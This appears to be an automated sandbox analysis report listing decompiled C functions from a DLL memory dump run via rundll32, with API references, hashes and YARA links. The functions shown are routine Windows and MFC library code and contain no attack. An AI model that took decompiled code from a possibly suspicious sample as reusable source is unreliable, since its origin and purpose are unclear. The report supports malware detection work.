API String ID: 1826523842-0
Opcode ID: ae05b3ff99e4ff3b1a1e48db508b1e78bcbb61d249b9abf87028a7f443457272
Instruction ID: 974a6ee5a46086babe6acac37de72d112873475713a12a89da57eb78778881bb
Opcode Fuzzy Hash: ae05b3ff99e4ff3b1a1e48db508b1e78bcbb61d249b9abf87028a7f443457272
Instruction Fuzzy Hash: 2C21DE716102A6EBCB109EB98C40BEE7FF9AF56310F104495E594D7280EBB0C9918AB1

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5C6FF Relevance: 6.1, APIs: 4, Instructions: 71
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E6EB5C6FF(signed int _a4, signed int _a8, intOrPtr _a12) {
				void* _t15;
				signed int _t17;
				void* _t18;
				void* _t19;
				signed int _t23;
				signed int* _t31;

				_t31 = _a8;
				if(_t31 == 0) {
					return _t15;
				}
				_t23 = _a4;
				if((_t23 & 0x00002000) == 0) {
					_t17 = (_t23 & 0x0000ffff) - 8;
					if(_t17 == 0) {
						__imp__#6( *_t31);
						L16:
						 *_t31 =  *_t31 & 0x00000000;
						L17:
						if((_t23 & 0x00001000) != 0 &&  !(_t23 & 0x00004000) != 0) {
							__imp__CoTaskMemFree(_t31[1]);
						}
						return _t17;
					}
					_t18 = _t17 - 1;
					if(_t18 == 0) {
						L13:
						_t17 =  *_t31;
						if(_t17 == 0) {
							goto L17;
						}
						_t17 =  *((intOrPtr*)( *_t17 + 8))(_t17);
						goto L16;
					}
					_t17 = _t18 - 3;
					if(_t17 == 0) {
						__imp__#9(_t31);
						goto L17;
					}
					_t19 = _t17 - 1;
					if(_t19 == 0) {
						goto L13;
					} else {
						_t17 = _t19 - 0x7b;
						if(_t17 == 0) {
							E6EB5C68A( &_a8, _a12);
							_t17 = _a8;
							if(_t17 != 0) {
								 *((intOrPtr*)( *_t17 + 0x10))(_t17,  *_t31, 0);
								_t17 = _a8;
								if(_t17 != 0) {
									_t17 =  *((intOrPtr*)( *_t17 + 8))(_t17);
								}
							}
						}
						goto L17;
					}
				}
				_t17 =  *_t31;
				if(_t17 == 0) {
					goto L17;
				} else {
					__imp__#16(_t17);
					goto L16;
				}
			}

APIs

SafeArrayDestroy.OLEAUT32 ref: 6EB5C723
CoTaskMemFree.OLE32(?), ref: 6EB5C7A7

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: ArrayDestroyFreeSafeTask
String ID:
API String ID: 3253174383-0
Opcode ID: 4fece9f19c7a42c49158e9bb788e79156218f5c378b60e9e0ab08974e8f21add
Instruction ID: 09594df3ce8f930a9753588e7bdfa20829d29518224c3df6cb5f32d3e8e9e0dc
Opcode Fuzzy Hash: 4fece9f19c7a42c49158e9bb788e79156218f5c378b60e9e0ab08974e8f21add
Instruction Fuzzy Hash: 60116A301106869BEF859FE5C898B6A7FAAEF16350F10441CFA69CFA90CB35D920CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6EB476E0 Relevance: 6.1, APIs: 4, Instructions: 61
windowCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E6EB476E0(void* __ebx, void* __ecx, struct tagPOINT _a8, intOrPtr _a12) {
				char _v12;
				signed int _v16;
				intOrPtr _v20;
				void* __edi;
				int _t22;
				void* _t54;

				_t54 = __ecx;
				_t38 = _a8.x;
				_push(_a12);
				_t22 = PtInRect(__ecx + 0x60, _a8.x);
				_t60 = _t22;
				if(_t22 == 0) {
					E6EB47830(_t54,  &_v12, _a8, _a12);
					 *((intOrPtr*)(_t54 + 0x5c)) =  *((intOrPtr*)( *((intOrPtr*)(_t54 + 0x58)) + (_v20 + (_v16 + _v16 * 2) * 8) * 4));
					SendMessageA( *(E6EB4C72D(__ebx,  *((intOrPtr*)( *((intOrPtr*)(_t54 + 0x58)) + (_v20 + (_v16 + _v16 * 2) * 8) * 4)), GetParent( *(_t54 + 0x20))) + 0x20), 0x401, 1, 0);
					return E6EB4C687(_t54, __eflags);
				} else {
					 *(_t54 + 0x54) = 1;
					E6EB4C72D(__ebx, _t38, SetCapture( *(_t54 + 0x20)));
					return E6EB4C687(_t54, _t60);
				}
			}

0x6eb476ee
0x6eb476f0
0x6eb476f3
0x6eb476f9
0x6eb476ff
0x6eb47701
0x6eb47737
0x6eb47754
0x6eb47770
0x6eb47782
0x6eb47703
0x6eb47707
0x6eb47715
0x6eb47726
0x6eb47726

APIs

PtInRect.USER32(?,?,?), ref: 6EB476F9
SetCapture.USER32 ref: 6EB4770E
GetParent.USER32(?), ref: 6EB47757
SendMessageA.USER32 ref: 6EB47770

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: CaptureMessageParentRectSend
String ID:
API String ID: 2415874315-0
Opcode ID: aaf45948cc86680355c795fc528727d13d3004d3cb584c19a919ee30b2f8c505
Instruction ID: bed95845dd85c0796732d38836b1ff5e359afa0bd67a44b6447e59c5605935d7
Opcode Fuzzy Hash: aaf45948cc86680355c795fc528727d13d3004d3cb584c19a919ee30b2f8c505
Instruction Fuzzy Hash: 3611B1B62107549FCB20CFA8D844DAE77ADEB88710F00890DFA558B290CB71E904CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EB52E51 Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E6EB52E51(void* __ecx) {
				void* _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t24;
				void* _t29;
				void* _t31;
				struct HINSTANCE__* _t33;
				signed int _t35;
				signed int _t36;
				void* _t38;
				signed int* _t41;

				_push(__ecx);
				_push(_t29);
				_t38 = __ecx;
				_t43 =  *((intOrPtr*)(__ecx + 0x58));
				_t41 =  *(__ecx + 0x60);
				_v8 =  *((intOrPtr*)(__ecx + 0x5c));
				if( *((intOrPtr*)(__ecx + 0x58)) != 0) {
					_t33 =  *(E6EB53D20(_t29, __ecx, _t41, _t43) + 0xc);
					_v8 = LoadResource(_t33, FindResourceA(_t33,  *(_t38 + 0x58), 5));
				}
				if(_v8 != 0) {
					_t41 = LockResource(_v8);
				}
				_t31 = 1;
				if(_t41 != 0) {
					_t36 =  *_t41;
					if(_t41[0] != 0xffff) {
						_t24 = _t41[2] & 0x0000ffff;
						_t35 = _t41[3] & 0x0000ffff;
					} else {
						_t36 = _t41[3];
						_t24 = _t41[4] & 0x0000ffff;
						_t35 = _t41[5] & 0x0000ffff;
					}
					if((_t36 & 0x00001801) != 0 || _t24 != 0 || _t35 != 0) {
						_t31 = 0;
					}
				}
				if( *(_t38 + 0x58) != 0) {
					FreeResource(_v8);
				}
				return _t31;
			}

APIs

FindResourceA.KERNEL32(?,00000000,00000005), ref: 6EB52E79
LoadResource.KERNEL32(?,00000000), ref: 6EB52E81
LockResource.KERNEL32(00000000), ref: 6EB52E93
FreeResource.KERNEL32(00000000), ref: 6EB52EE1

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: bb948cfddf53ad5d11d2aa9cee12fb8993abbbb4c2a37992dd0044959cf5e44a
Instruction ID: 9e106a23ddb4f5e19b62e3fe5a1aaeda22b1f07587976b82618670d057d1cf90
Opcode Fuzzy Hash: bb948cfddf53ad5d11d2aa9cee12fb8993abbbb4c2a37992dd0044959cf5e44a
Instruction Fuzzy Hash: 0711B2351017A5EFDB509FD1D844AA6BBB4FF05315F20842DE84253B40D774DD60D760

Uniqueness

Uniqueness Score: -1.00%

Function 6EB48DE3 Relevance: 6.1, APIs: 4, Instructions: 59
windowCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 87%

			E6EB48DE3(void* __ebx, void* __edi, void* __esi, void* __eflags, void* _a4, intOrPtr _a8, char _a12) {
				intOrPtr* _v0;
				void* _v4;
				signed int _v8;
				intOrPtr _v16;
				void* _t20;
				intOrPtr* _t23;
				void* _t29;
				void* _t31;
				intOrPtr _t35;
				char _t36;
				void* _t44;

				_t44 = __eflags;
				_t38 = __esi;
				_t37 = __edi;
				_t31 = __ebx;
				_push(4);
				E6EB664FB(0x6eb7742d, __ebx, __edi, __esi);
				_t35 = E6EB47C96(_t44, 0xc);
				_v16 = _t35;
				_t20 = 0;
				_v4 = 0;
				if(_t35 != 0) {
					_t20 = E6EB48D89(_t35);
				}
				_t36 = _a4;
				_v8 = _v8 | 0xffffffff;
				 *((intOrPtr*)(_t20 + 8)) = _t36;
				_a4 = _t20;
				E6EB667FC( &_a4, 0x6eb8329c);
				asm("int3");
				_t23 = _v0;
				_push(_t31);
				if(_t23 != 0) {
					 *_t23 = 0;
				}
				if(FormatMessageA(0x1100, 0,  *(_t36 + 8), 0x800,  &_a12, 0, 0) != 0) {
					E6EB48C1B(0, _t36, _t37, _t38, _a4, _a8, _a12, 0xffffffff);
					LocalFree(_a12);
					_t29 = 1;
					__eflags = 1;
				} else {
					 *_a4 = 0;
					_t29 = 0;
				}
				return _t29;
			}

APIs

__EH_prolog3.LIBCMT ref: 6EB48DEA

Part of subcall function 6EB47C96: _malloc.LIBCMT ref: 6EB47CB4

__CxxThrowException@8.LIBCMT ref: 6EB48E20
FormatMessageA.KERNEL32(00001100,00000000,?,00000800,6EB41016,00000000,00000000,00000000,?,00000000,6EB8329C,00000004,6EB41016,00000000,6EB4849C,00000000), ref: 6EB48E4B

Part of subcall function 6EB48C1B: __cftof.LIBCMT ref: 6EB48C2C

LocalFree.KERNEL32(6EB41016,6EB41016,00000000,6EB4849C,00000000,00000000,00000000), ref: 6EB48E74

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Exception@8FormatFreeH_prolog3LocalMessageThrow__cftof_malloc
String ID:
API String ID: 1808948168-0
Opcode ID: dfbe2309efef08c6541c295d344e1331c8bf63ad0744154d24636d317b06e94a
Instruction ID: 31a39ceedd4ef3a3476894245f9e10f3b88078610ec9fb2635825f787920a702
Opcode Fuzzy Hash: dfbe2309efef08c6541c295d344e1331c8bf63ad0744154d24636d317b06e94a
Instruction Fuzzy Hash: 4B119E71654289EFDF009FE4DC80EAE7FA8FB08354F108929FA29CA294D7318950DB90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB51883 Relevance: 6.1, APIs: 4, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E6EB51883(intOrPtr* __ecx, intOrPtr _a4, CHAR* _a8, intOrPtr _a12) {
				void* _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t18;
				struct HRSRC__* _t25;
				void* _t28;
				intOrPtr* _t34;
				void* _t36;
				intOrPtr _t37;
				struct HINSTANCE__* _t39;

				_push(__ecx);
				_t28 = 0;
				_push(_t36);
				_t34 = __ecx;
				_v8 = 0;
				_t40 = _a8;
				if(_a8 == 0) {
					L4:
					_t37 = _a4;
					_a8 = 1;
					if(_t28 != 0) {
						_a8 =  *((intOrPtr*)( *_t34 + 0x20))(_t37, _t28, _a12);
						if(_v8 != 0) {
							FreeResource(_v8);
						}
					}
					if( *((intOrPtr*)(_t37 + 0x4c)) != 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t37 + 0x4c)))) + 0xa0))(_a12);
					}
					_t18 = _a8;
					L10:
					return _t18;
				}
				_t39 =  *(E6EB53D20(0, __ecx, _t36, _t40) + 0xc);
				_t25 = FindResourceA(_t39, _a8, 0xf0);
				if(_t25 == 0) {
					goto L4;
				}
				_t18 = LoadResource(_t39, _t25);
				_v8 = _t18;
				if(_t18 == 0) {
					goto L10;
				}
				_t28 = LockResource(_t18);
				goto L4;
			}

APIs

FindResourceA.KERNEL32(?,?,000000F0), ref: 6EB518A9
LoadResource.KERNEL32(?,00000000), ref: 6EB518B5
LockResource.KERNEL32(00000000), ref: 6EB518C3
FreeResource.KERNEL32(00000000), ref: 6EB518F1

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: 26bb85056c5646234497a42107a630568a90aa4635b6189ed42aa1ec73bdb6dd
Instruction ID: 499fef11797097eef1719db5797b817085c30da3c6e010f60e212b61edf8c9db
Opcode Fuzzy Hash: 26bb85056c5646234497a42107a630568a90aa4635b6189ed42aa1ec73bdb6dd
Instruction Fuzzy Hash: 39119A31200A5AEFEF019F91C898AAEBBB9EF05365F058069F916A7350CB70D914CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6EB569A8 Relevance: 6.1, APIs: 4, Instructions: 56
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E6EB569A8(void* __ecx, intOrPtr __edx, CHAR* _a4, char* _a8, char _a12) {
				signed int _v8;
				char _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t13;
				CHAR* _t21;
				char* _t24;
				intOrPtr _t28;
				void* _t30;
				signed int _t31;

				_t28 = __edx;
				_t13 =  *0x6eb89470; // 0xc96cff66
				_v8 = _t13 ^ _t31;
				_t24 = _a8;
				_t30 = __ecx;
				_t29 = _a4;
				if( *((intOrPtr*)(__ecx + 0x54)) == 0) {
					swprintf( &_v24, 0x10, 0x6eb7b0d8, _a12);
					_t18 = WritePrivateProfileStringA(_t29, _t24,  &_v24,  *(_t30 + 0x68));
				} else {
					_t30 = E6EB56960(__ecx, _t29);
					if(_t30 != 0) {
						_t21 = RegSetValueExA(_t30, _t24, 0, 4,  &_a12, 4);
						_t29 = _t21;
						RegCloseKey(_t30);
						_t18 = 0 | _t21 == 0x00000000;
					}
				}
				return E6EB63DE0(_t18, _t24, _v8 ^ _t31, _t28, _t29, _t30);
			}

APIs

RegSetValueExA.ADVAPI32(00000000,?,00000000,00000004,?,00000004), ref: 6EB569E3
RegCloseKey.ADVAPI32(00000000), ref: 6EB569EC
swprintf.LIBCMT ref: 6EB56A09
WritePrivateProfileStringA.KERNEL32(?,?,?,?), ref: 6EB56A1A

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: ClosePrivateProfileStringValueWriteswprintf
String ID:
API String ID: 22681860-0
Opcode ID: 78b57b4fa094a6a9f004138381d64eaa11e6fa446942c2c18e3ebb95d8b2b219
Instruction ID: 6fffeb03748cba9f614f09234440310d9868fe5b66b7ddd310df71ae712dcdd5
Opcode Fuzzy Hash: 78b57b4fa094a6a9f004138381d64eaa11e6fa446942c2c18e3ebb95d8b2b219
Instruction Fuzzy Hash: BA01A17252065ABBDB109FA48C44FAF7BBCEB49714F010429F512A7284DA70E91587A4

Uniqueness

Uniqueness Score: -1.00%

Function 6EB46780 Relevance: 6.1, APIs: 4, Instructions: 53
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EB46780(void* __ecx, intOrPtr _a4) {
				void* __esi;
				void* _t41;
				void* _t43;

				_t41 = __ecx;
				if(_a4 == 1) {
					_t38 =  *(__ecx + 0x168);
					_t43 = __ecx + 0x148;
					SendMessageA( *(__ecx + 0x168), 0x405, 1, 0xff - ( *(__ecx + 0xd8) & 0x000000ff));
					E6EB412C0(_t38, _t43);
					SendMessageA( *(_t41 + 0x270), 0x405, 1, 0xff - ( *(_t41 + 0xd9) & 0x000000ff));
					E6EB412C0( *(_t41 + 0x270), _t41 + 0x250);
					SendMessageA( *(_t41 + 0x2f4), 0x405, 1, 0xff - ( *(_t41 + 0xda) & 0x000000ff));
					E6EB412C0( *(_t41 + 0x2f4), _t41 + 0x2d4);
					SendMessageA( *(_t41 + 0x20), 0x115, 0,  *(_t41 + 0x168));
				}
				return 1;
			}

0x6eb46788
0x6eb4678a
0x6eb46797
0x6eb467af
0x6eb467bb
0x6eb467bd
0x6eb467e5
0x6eb467e7
0x6eb4680f
0x6eb46811
0x6eb46828
0x6eb4682b
0x6eb46832

APIs

SendMessageA.USER32 ref: 6EB467BB

Part of subcall function 6EB412C0: SendMessageA.USER32 ref: 6EB41303
Part of subcall function 6EB412C0: SendMessageA.USER32 ref: 6EB41314

SendMessageA.USER32 ref: 6EB467E5
SendMessageA.USER32 ref: 6EB4680F
SendMessageA.USER32 ref: 6EB46828

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: f26e35bce5cc69b8ccefddfff0fccb92fd97b6478bee4e0f4e1311b2f1938e95
Instruction ID: a27f244de4fe0137d53a47243c1f1875861b985095d66f1c0f017121dbc10287
Opcode Fuzzy Hash: f26e35bce5cc69b8ccefddfff0fccb92fd97b6478bee4e0f4e1311b2f1938e95
Instruction Fuzzy Hash: 5911A1763506127AE6089AB48C95FFAF768FB48700F004729B714A72C4EBB4F81197A4

Uniqueness

Uniqueness Score: -1.00%

Function 6EB56EED Relevance: 6.1, APIs: 4, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E6EB56EED(void* __ecx, void* __edx, void* __eflags) {
				void* _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t9;
				void* _t11;
				int _t13;
				void* _t23;
				void* _t29;
				intOrPtr* _t31;
				void* _t33;
				void* _t35;

				_t29 = __edx;
				_push(__ecx);
				_t23 = __ecx;
				_t9 = E6EB47C96(__eflags, 0x10);
				_t37 = _t9;
				if(_t9 == 0) {
					_t31 = 0;
					__eflags = 0;
				} else {
					_t31 = E6EB56ECE(_t9, _t37);
				}
				_t11 = GetCurrentProcess();
				_t13 = DuplicateHandle(GetCurrentProcess(),  *(_t23 + 4), _t11,  &_v8, 0, 0, 2);
				_t35 = _t33;
				if(_t13 == 0) {
					if(_t31 != 0) {
						 *((intOrPtr*)( *_t31 + 4))(1);
					}
					E6EB60BB0(_t23, _t29, _t31, _t35, GetLastError(),  *((intOrPtr*)(_t23 + 0xc)));
				}
				 *((intOrPtr*)(_t31 + 4)) = _v8;
				 *((intOrPtr*)(_t31 + 8)) =  *((intOrPtr*)(_t23 + 8));
				return _t31;
			}

APIs

Part of subcall function 6EB47C96: _malloc.LIBCMT ref: 6EB47CB4

GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 6EB56F21
GetCurrentProcess.KERNEL32(?,00000000), ref: 6EB56F27
DuplicateHandle.KERNEL32(00000000), ref: 6EB56F2A
GetLastError.KERNEL32(?), ref: 6EB56F45

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: CurrentProcess$DuplicateErrorHandleLast_malloc
String ID:
API String ID: 3704204646-0
Opcode ID: 0321d63bc3e8285b2cd2f1dc3b34b923683c90b7144d64a182205d4030bdeae8
Instruction ID: 1d7bccbd3534fd1324a3ac21a54a948d94c30556fcf58ae3c666437228b5fe5e
Opcode Fuzzy Hash: 0321d63bc3e8285b2cd2f1dc3b34b923683c90b7144d64a182205d4030bdeae8
Instruction Fuzzy Hash: 4C017C71A10341BBEF109BA6CD49F9A7FADEF84354F144465B905CB288EB71DC10CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4D0B7 Relevance: 6.0, APIs: 4, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E6EB4D0B7(void* __ebx, void* __ecx, struct HWND__* _a4, int _a8, int _a12, long _a16, struct HWND__* _a20, struct HWND__* _a24) {
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t16;
				struct HWND__* _t18;
				struct HWND__* _t20;
				void* _t22;
				void* _t23;
				void* _t24;
				struct HWND__* _t25;

				_t23 = __ecx;
				_t22 = __ebx;
				_t24 = GetTopWindow;
				_t16 = GetTopWindow(_a4);
				while(1) {
					_t25 = _t16;
					if(_t25 == 0) {
						break;
					}
					__eflags = _a24;
					if(__eflags == 0) {
						SendMessageA(_t25, _a8, _a12, _a16);
					} else {
						_t20 = E6EB4C759(_t23, _t24, _t25, __eflags, _t25);
						__eflags = _t20;
						if(__eflags != 0) {
							_push(_a16);
							_push(_a12);
							_push(_a8);
							_push( *((intOrPtr*)(_t20 + 0x20)));
							_push(_t20);
							E6EB4CDCC(_t22, _t24, _t25, __eflags);
						}
					}
					__eflags = _a20;
					if(_a20 != 0) {
						_t18 = GetTopWindow(_t25);
						__eflags = _t18;
						if(_t18 != 0) {
							E6EB4D0B7(_t22, _t23, _t25, _a8, _a12, _a16, _a20, _a24);
						}
					}
					_t16 = GetWindow(_t25, 2);
				}
				return _t16;
			}

APIs

GetTopWindow.USER32(00000000), ref: 6EB4D0C7
GetTopWindow.USER32(00000000), ref: 6EB4D106
GetWindow.USER32(00000000,00000002), ref: 6EB4D124

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: 6c9ea01f161ce013755418e712a5ad520f81a88c1705869769e028cbad46b99e
Instruction ID: 046c0bd973d77ae22e207c5dac0cfcfd85e4415cdab1da9f27b5f213a92413b0
Opcode Fuzzy Hash: 6c9ea01f161ce013755418e712a5ad520f81a88c1705869769e028cbad46b99e
Instruction Fuzzy Hash: AF01023200059BFBCF235ED1AC14E9E3E2AEF49350F018425FE1066169CB36C566EFA2

Uniqueness

Uniqueness Score: -1.00%

Function 6EB55ADC Relevance: 6.0, APIs: 4, Instructions: 49
memoryCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E6EB55ADC(void* __ecx, short* _a4) {
				int _v8;
				int _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				int _t9;
				char* _t10;
				char* _t12;
				void* _t14;
				char* _t15;
				void* _t18;

				_t17 = __ecx;
				_push(__ecx);
				_push(__ecx);
				if(_a4 != 0) {
					__imp__#7(_a4, _t18, _t14);
					_v12 = _t9;
					_t10 = WideCharToMultiByte(0, 0, _a4, _t9, 0, 0, 0, 0);
					_v8 = _t10;
					__imp__#150(0, _t10);
					_t15 = _t10;
					__eflags = _t15;
					if(__eflags == 0) {
						E6EB48B6C(_t15, _t17, WideCharToMultiByte, 0, __eflags);
					}
					WideCharToMultiByte(0, 0, _a4, _v12, _t15, _v8, 0, 0);
					_t12 = _t15;
				} else {
					_t12 = 0;
				}
				return _t12;
			}

APIs

SysStringLen.OLEAUT32(00000000), ref: 6EB55AF4
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,6EB6171F,?,00000018,6EB61A5D,?,?,?), ref: 6EB55B0D
SysAllocStringByteLen.OLEAUT32(00000000,00000000), ref: 6EB55B14
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,6EB6171F,?,00000018,6EB61A5D,?,?,?), ref: 6EB55B33

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Byte$CharMultiStringWide$Alloc
String ID:
API String ID: 3384502665-0
Opcode ID: e81572eb529839b9d0f1b1d171e42cdd84d88b2061f67ef72f10c141d4a56c07
Instruction ID: ed062112b99b2567ebe0c4914b4f1d7dbbd42e9727bc3f7b3bcf5ba5d32ff5c9
